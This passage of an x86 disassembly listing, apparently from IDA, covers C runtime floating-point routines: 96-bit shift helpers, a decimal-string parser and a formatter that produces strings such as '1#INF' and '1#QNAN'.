		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_4250CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4250FD	proc near		; CODE XREF: sub_4256C2+1C8p
					; sub_425BBA+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_4250FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42512A	proc near		; CODE XREF: sub_4251F1+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_42519E
		push	edi
		mov	[ebp+arg_8], eax

loc_425151:				; CODE XREF: sub_42512A+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_4250CF
		push	ebx
		call	sub_4250CF
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425071
		push	ebx
		call	sub_4250CF
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425071
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_425151
		xor	edx, edx
		pop	edi

loc_42519E:				; CODE XREF: sub_42512A+21j
					; sub_42512A+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_4251CB
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_42519E
; ---------------------------------------------------------------------------

loc_4251CB:				; CODE XREF: sub_42512A+77j
		mov	esi, 8000h

loc_4251D0:				; CODE XREF: sub_42512A+B9j
		test	[ebx+8], esi
		jnz	short loc_4251E5
		push	ebx
		call	sub_4250CF
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_4251D0
; ---------------------------------------------------------------------------

loc_4251E5:				; CODE XREF: sub_42512A+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_42512A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4251F1	proc near		; CODE XREF: sub_424518+17p
					; sub_424545+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi

loc_42522C:				; CODE XREF: sub_4251F1+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_425242
		cmp	cl, 9
		jz	short loc_425242
		cmp	cl, 0Ah
		jz	short loc_425242
		cmp	cl, 0Dh
		jnz	short loc_425245

loc_425242:				; CODE XREF: sub_4251F1+40j
					; sub_4251F1+45j ...
		inc	edi
		jmp	short loc_42522C
; ---------------------------------------------------------------------------

loc_425245:				; CODE XREF: sub_4251F1+4Fj
		push	4
		pop	esi

loc_425248:				; CODE XREF: sub_4251F1+AEj
					; sub_4251F1+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_4254CB	; default
					; jumptable 00425254 case 10
		jmp	off_425692[eax*4] ; switch jump

loc_42525B:				; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 0
		jl	short loc_42526C
		cmp	bl, 39h
		jg	short loc_42526C

loc_425265:				; CODE XREF: sub_4251F1+C4j
					; sub_4251F1+118j
		push	3
		jmp	loc_425489
; ---------------------------------------------------------------------------

loc_42526C:				; CODE XREF: sub_4251F1+6Dj
					; sub_4251F1+72j
		cmp	bl, byte_43C538
		jnz	short loc_42527B

loc_425274:				; CODE XREF: sub_4251F1+124j
		push	5
		jmp	loc_4254C1
; ---------------------------------------------------------------------------

loc_42527B:				; CODE XREF: sub_4251F1+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4252A1
		dec	eax
		dec	eax
		jz	short loc_425295
		sub	eax, 3
		jnz	loc_425564
		jmp	loc_425324
; ---------------------------------------------------------------------------

loc_425295:				; CODE XREF: sub_4251F1+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_425248
; ---------------------------------------------------------------------------

loc_4252A1:				; CODE XREF: sub_4251F1+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_425248
; ---------------------------------------------------------------------------

loc_4252AA:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 1
		mov	[ebp+var_10], edx
		jl	short loc_4252B7
		cmp	bl, 39h
		jle	short loc_425265

loc_4252B7:				; CODE XREF: sub_4251F1+BFj
		cmp	bl, byte_43C538
		jz	loc_42537F
		cmp	bl, 2Bh
		jz	short loc_4252F9
		cmp	bl, 2Dh
		jz	short loc_4252F9
		cmp	bl, 30h
		jz	short loc_425324

loc_4252D2:				; CODE XREF: sub_4251F1+207j
		cmp	bl, 43h
		jle	loc_425564
		cmp	bl, 45h
		jle	short loc_4252F2
		cmp	bl, 63h
		jle	loc_425564
		cmp	bl, 65h
		jg	loc_425564

loc_4252F2:				; CODE XREF: sub_4251F1+EDj
		push	6
		jmp	loc_4254C1
; ---------------------------------------------------------------------------

loc_4252F9:				; CODE XREF: sub_4251F1+D5j
					; sub_4251F1+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_4254C1
; ---------------------------------------------------------------------------

loc_425301:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 2
		jl	short loc_42530F
		cmp	bl, 39h
		jle	loc_425265

loc_42530F:				; CODE XREF: sub_4251F1+113j
		cmp	bl, byte_43C538
		jz	loc_425274
		cmp	bl, 30h
		jnz	loc_4254D9

loc_425324:				; CODE XREF: sub_4251F1+9Fj
					; sub_4251F1+DFj
		mov	eax, edx
		jmp	loc_425248
; ---------------------------------------------------------------------------

loc_42532B:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_10], edx ; jumptable 00425254 case 3

loc_42532E:				; CODE XREF: sub_4251F1+184j
		cmp	dword_43C534, edx
		jle	short loc_425347
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425355
; ---------------------------------------------------------------------------

loc_425347:				; CODE XREF: sub_4251F1+143j
		mov	ecx, off_43C328
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi

loc_425355:				; CODE XREF: sub_4251F1+154j
		test	eax, eax
		jz	short loc_425377
		cmp	[ebp+var_4], 19h
		jnb	short loc_42536F
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_425372
; ---------------------------------------------------------------------------

loc_42536F:				; CODE XREF: sub_4251F1+16Cj
		inc	[ebp+var_8]

loc_425372:				; CODE XREF: sub_4251F1+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42532E
; ---------------------------------------------------------------------------

loc_425377:				; CODE XREF: sub_4251F1+166j
		cmp	bl, byte_43C538
		jnz	short loc_4253E6

loc_42537F:				; CODE XREF: sub_4251F1+CCj
		mov	eax, esi
		jmp	loc_425248
; ---------------------------------------------------------------------------

loc_425386:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	[ebp+var_4], 0	; jumptable 00425254 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_42539F

loc_425392:				; CODE XREF: sub_4251F1+1ACj
		cmp	bl, 30h
		jnz	short loc_42539F
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425392
; ---------------------------------------------------------------------------

loc_42539F:				; CODE XREF: sub_4251F1+19Fj
					; sub_4251F1+1A4j ...
		cmp	dword_43C534, edx
		jle	short loc_4253B8
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_4253C6
; ---------------------------------------------------------------------------

loc_4253B8:				; CODE XREF: sub_4251F1+1B4j
		mov	ecx, off_43C328
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi

loc_4253C6:				; CODE XREF: sub_4251F1+1C5j
		test	eax, eax
		jz	short loc_4253E6
		cmp	[ebp+var_4], 19h
		jnb	short loc_4253E1
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl

loc_4253E1:				; CODE XREF: sub_4251F1+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42539F
; ---------------------------------------------------------------------------

loc_4253E6:				; CODE XREF: sub_4251F1+18Cj
					; sub_4251F1+1D7j
		cmp	bl, 2Bh
		jz	loc_4252F9
		cmp	bl, 2Dh
		jz	loc_4252F9
		jmp	loc_4252D2
; ---------------------------------------------------------------------------

loc_4253FD:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	dword_43C534, edx ; jumptable 00425254 case 5
		mov	[ebp+var_24], edx
		jle	short loc_425419
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425427
; ---------------------------------------------------------------------------

loc_425419:				; CODE XREF: sub_4251F1+215j
		mov	ecx, off_43C328
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi

loc_425427:				; CODE XREF: sub_4251F1+226j
		test	eax, eax
		jz	loc_4254D9
		mov	eax, esi
		jmp	short loc_42548A
; ---------------------------------------------------------------------------

loc_425433:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		lea	ecx, [edi-2]	; jumptable 00425254 case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_425443
		cmp	bl, 39h
		jle	short loc_425487

loc_425443:				; CODE XREF: sub_4251F1+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4254BF
		dec	eax
		dec	eax
		jz	short loc_4254B3
		sub	eax, 3
		jnz	loc_425567

loc_425458:				; CODE XREF: sub_4251F1+2A4j
		push	8
		jmp	short loc_4254C1
; ---------------------------------------------------------------------------

loc_42545C:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_20], edx ; jumptable 00425254 case 8

loc_42545F:				; CODE XREF: sub_4251F1+276j
		cmp	bl, 30h
		jnz	short loc_425469
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42545F
; ---------------------------------------------------------------------------

loc_425469:				; CODE XREF: sub_4251F1+271j
		cmp	bl, 31h
		jl	loc_425564
		cmp	bl, 39h
		jg	loc_425564
		jmp	short loc_425487
; ---------------------------------------------------------------------------

loc_42547D:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 7
		jl	short loc_425490
		cmp	bl, 39h
		jg	short loc_425490

loc_425487:				; CODE XREF: sub_4251F1+250j
					; sub_4251F1+28Aj
		push	9

loc_425489:				; CODE XREF: sub_4251F1+76j
		pop	eax

loc_42548A:				; CODE XREF: sub_4251F1+240j
		dec	edi
		jmp	loc_425248
; ---------------------------------------------------------------------------

loc_425490:				; CODE XREF: sub_4251F1+28Fj
					; sub_4251F1+294j
		cmp	bl, 30h
		jnz	short loc_4254D9
		jmp	short loc_425458
; ---------------------------------------------------------------------------

loc_425497:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	[ebp+arg_18], 0	; jumptable 00425254 case 11
		jz	short loc_4254C7
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_4254BF
		dec	eax
		dec	eax
		jnz	loc_425567

loc_4254B3:				; CODE XREF: sub_4251F1+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_425248
; ---------------------------------------------------------------------------

loc_4254BF:				; CODE XREF: sub_4251F1+258j
					; sub_4251F1+2B8j
		push	7

loc_4254C1:				; CODE XREF: sub_4251F1+85j
					; sub_4251F1+103j ...
		pop	eax
		jmp	loc_425248
; ---------------------------------------------------------------------------

loc_4254C7:				; CODE XREF: sub_4251F1+2AAj
		push	0Ah
		dec	edi
		pop	eax

loc_4254CB:				; CODE XREF: sub_4251F1+5Dj
					; sub_4251F1+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 00425254 case 10
		jz	loc_425569
		jmp	loc_425248
; ---------------------------------------------------------------------------

loc_4254D9:				; CODE XREF: sub_4251F1+12Dj
					; sub_4251F1+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_425569
; ---------------------------------------------------------------------------

loc_4254E1:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_20], 1	; jumptable 00425254 case 9
		xor	esi, esi

loc_4254EA:				; CODE XREF: sub_4251F1+339j
		cmp	dword_43C534, 1
		jle	short loc_425502
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_425511
; ---------------------------------------------------------------------------

loc_425502:				; CODE XREF: sub_4251F1+300j
		mov	ecx, off_43C328
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_425511:				; CODE XREF: sub_4251F1+30Fj
		test	eax, eax
		jz	short loc_425531
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_42552C
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4254EA
; ---------------------------------------------------------------------------

loc_42552C:				; CODE XREF: sub_4251F1+334j
		mov	esi, 1451h

loc_425531:				; CODE XREF: sub_4251F1+322j
		mov	[ebp+var_1C], esi

loc_425534:				; CODE XREF: sub_4251F1+371j
		cmp	dword_43C534, 1
		jle	short loc_42554C
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_42555B
; ---------------------------------------------------------------------------

loc_42554C:				; CODE XREF: sub_4251F1+34Aj
		mov	ecx, off_43C328
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_42555B:				; CODE XREF: sub_4251F1+359j
		test	eax, eax
		jz	short loc_425564
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425534
; ---------------------------------------------------------------------------

loc_425564:				; CODE XREF: sub_4251F1+99j
					; sub_4251F1+E4j ...
		dec	edi
		jmp	short loc_425569
; ---------------------------------------------------------------------------

loc_425567:				; CODE XREF: sub_4251F1+261j
					; sub_4251F1+2BCj
		mov	edi, ecx

loc_425569:				; CODE XREF: sub_4251F1+2DDj
					; sub_4251F1+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_425651
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_425595
		cmp	[ebp+var_45], 5
		jl	short loc_425589
		inc	[ebp+var_45]

loc_425589:				; CODE XREF: sub_4251F1+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_425598
; ---------------------------------------------------------------------------

loc_425595:				; CODE XREF: sub_4251F1+38Dj
		mov	eax, [ebp+var_C]

loc_425598:				; CODE XREF: sub_4251F1+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_425647

loc_4255A2:				; CODE XREF: sub_4251F1+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_4255B0
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_4255A2
; ---------------------------------------------------------------------------

loc_4255B0:				; CODE XREF: sub_4251F1+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_42512A
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_4255CF
		neg	eax

loc_4255CF:				; CODE XREF: sub_4251F1+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_4255DA
		add	eax, [ebp+arg_10]

loc_4255DA:				; CODE XREF: sub_4251F1+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_4255E2
		sub	eax, [ebp+arg_14]

loc_4255E2:				; CODE XREF: sub_4251F1+3ECj
		cmp	eax, 1450h
		jle	short loc_425619
		mov	[ebp+var_2C], 1

loc_4255F0:				; CODE XREF: sub_4251F1+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]

loc_4255FC:				; CODE XREF: sub_4251F1+454j
					; sub_4251F1+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_425662
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_425677
; ---------------------------------------------------------------------------

loc_425619:				; CODE XREF: sub_4251F1+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_425629
		mov	[ebp+var_30], 1
		jmp	short loc_4255F0
; ---------------------------------------------------------------------------

loc_425629:				; CODE XREF: sub_4251F1+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_425DDA
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_4255FC
; ---------------------------------------------------------------------------

loc_425647:				; CODE XREF: sub_4251F1+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_4255FC
; ---------------------------------------------------------------------------

loc_425651:				; CODE XREF: sub_4251F1+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_425677
; ---------------------------------------------------------------------------

loc_425662:				; CODE XREF: sub_4251F1+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_425677
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1

loc_425677:				; CODE XREF: sub_4251F1+426j
					; sub_4251F1+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_4251F1	endp

; ---------------------------------------------------------------------------
off_425692	dd offset loc_42525B	; DATA XREF: sub_4251F1+63r
		dd offset loc_4252AA	; jump table for switch	statement
		dd offset loc_425301
		dd offset loc_42532B
		dd offset loc_425386
		dd offset loc_4253FD
		dd offset loc_425433
		dd offset loc_42547D
		dd offset loc_42545C
		dd offset loc_4254E1
		dd offset loc_4254CB
		dd offset loc_425497

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4256C2	proc near		; CODE XREF: sub_4245E9+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_425724
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_425728
; ---------------------------------------------------------------------------

loc_425724:				; CODE XREF: sub_4256C2+5Aj
		mov	byte ptr [ebx+2], 20h

loc_425728:				; CODE XREF: sub_4256C2+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_42574E
		test	edi, edi
		jnz	short loc_42574E
		cmp	[ebp+arg_0], edi
		jnz	short loc_42574E

loc_425739:				; CODE XREF: sub_4256C2+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_42594C
; ---------------------------------------------------------------------------

loc_42574E:				; CODE XREF: sub_4256C2+6Cj
					; sub_4256C2+70j ...
		cmp	dx, si
		jnz	short loc_4257CD
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_425767
		cmp	[ebp+arg_0], 0
		jz	short loc_425776

loc_425767:				; CODE XREF: sub_4256C2+9Dj
		test	edi, 40000000h
		jnz	short loc_425776
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_4257BC
; ---------------------------------------------------------------------------

loc_425776:				; CODE XREF: sub_4256C2+A3j
					; sub_4256C2+ABj
		test	cx, cx
		jz	short loc_425790
		cmp	edi, 0C0000000h
		jnz	short loc_425790
		cmp	[ebp+arg_0], 0
		jnz	short loc_4257B7
		push	offset a1Ind	; "1#IND"
		jmp	short loc_42579F
; ---------------------------------------------------------------------------

loc_425790:				; CODE XREF: sub_4256C2+B7j
					; sub_4256C2+BFj
		cmp	edi, eax
		jnz	short loc_4257B7
		cmp	[ebp+arg_0], 0
		jnz	short loc_4257B7
		push	offset a1Inf	; "1#INF"

loc_42579F:				; CODE XREF: sub_4256C2+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx

loc_4257AE:				; CODE XREF: sub_4256C2+109j
		and	[ebp+var_4], 0
		jmp	loc_425925
; ---------------------------------------------------------------------------

loc_4257B7:				; CODE XREF: sub_4256C2+C5j
					; sub_4256C2+D0j ...
		push	offset a1Qnan	; "1#QNAN"

loc_4257BC:				; CODE XREF: sub_4256C2+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_4257AE
; ---------------------------------------------------------------------------

loc_4257CD:				; CODE XREF: sub_4256C2+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425DDA
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_42582E
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425BBA
		pop	ecx
		pop	ecx

loc_42582E:				; CODE XREF: sub_4256C2+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_425848
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_42584B
		jmp	loc_425739
; ---------------------------------------------------------------------------

loc_425848:				; CODE XREF: sub_4256C2+173j
		mov	edi, [ebp+arg_C]

loc_42584B:				; CODE XREF: sub_4256C2+17Fj
		cmp	edi, 15h
		jle	short loc_425853
		push	15h
		pop	edi

loc_425853:				; CODE XREF: sub_4256C2+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8

loc_425869:				; CODE XREF: sub_4256C2+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_425869
		test	esi, esi
		jge	short loc_425893
		neg	esi
		and	esi, 0FFh
		jle	short loc_425893

loc_425886:				; CODE XREF: sub_4256C2+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250FD
		dec	esi
		pop	ecx
		jnz	short loc_425886

loc_425893:				; CODE XREF: sub_4256C2+1B8j
					; sub_4256C2+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_4258F0
		mov	[ebp+arg_C], ecx

loc_4258A3:				; CODE XREF: sub_4256C2+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_4250CF
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425071
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_4258A3
		mov	eax, [ebp+arg_14]

loc_4258F0:				; CODE XREF: sub_4256C2+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_42592D

loc_4258FD:				; CODE XREF: sub_4256C2+248j
		cmp	eax, ecx
		jb	short loc_425910
		cmp	byte ptr [eax],	39h
		jnz	short loc_42590C
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_4258FD
; ---------------------------------------------------------------------------

loc_42590C:				; CODE XREF: sub_4256C2+242j
		cmp	eax, ecx
		jnb	short loc_425914

loc_425910:				; CODE XREF: sub_4256C2+23Dj
		inc	eax
		inc	word ptr [ebx]

loc_425914:				; CODE XREF: sub_4256C2+24Cj
		inc	byte ptr [eax]

loc_425916:				; CODE XREF: sub_4256C2+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0

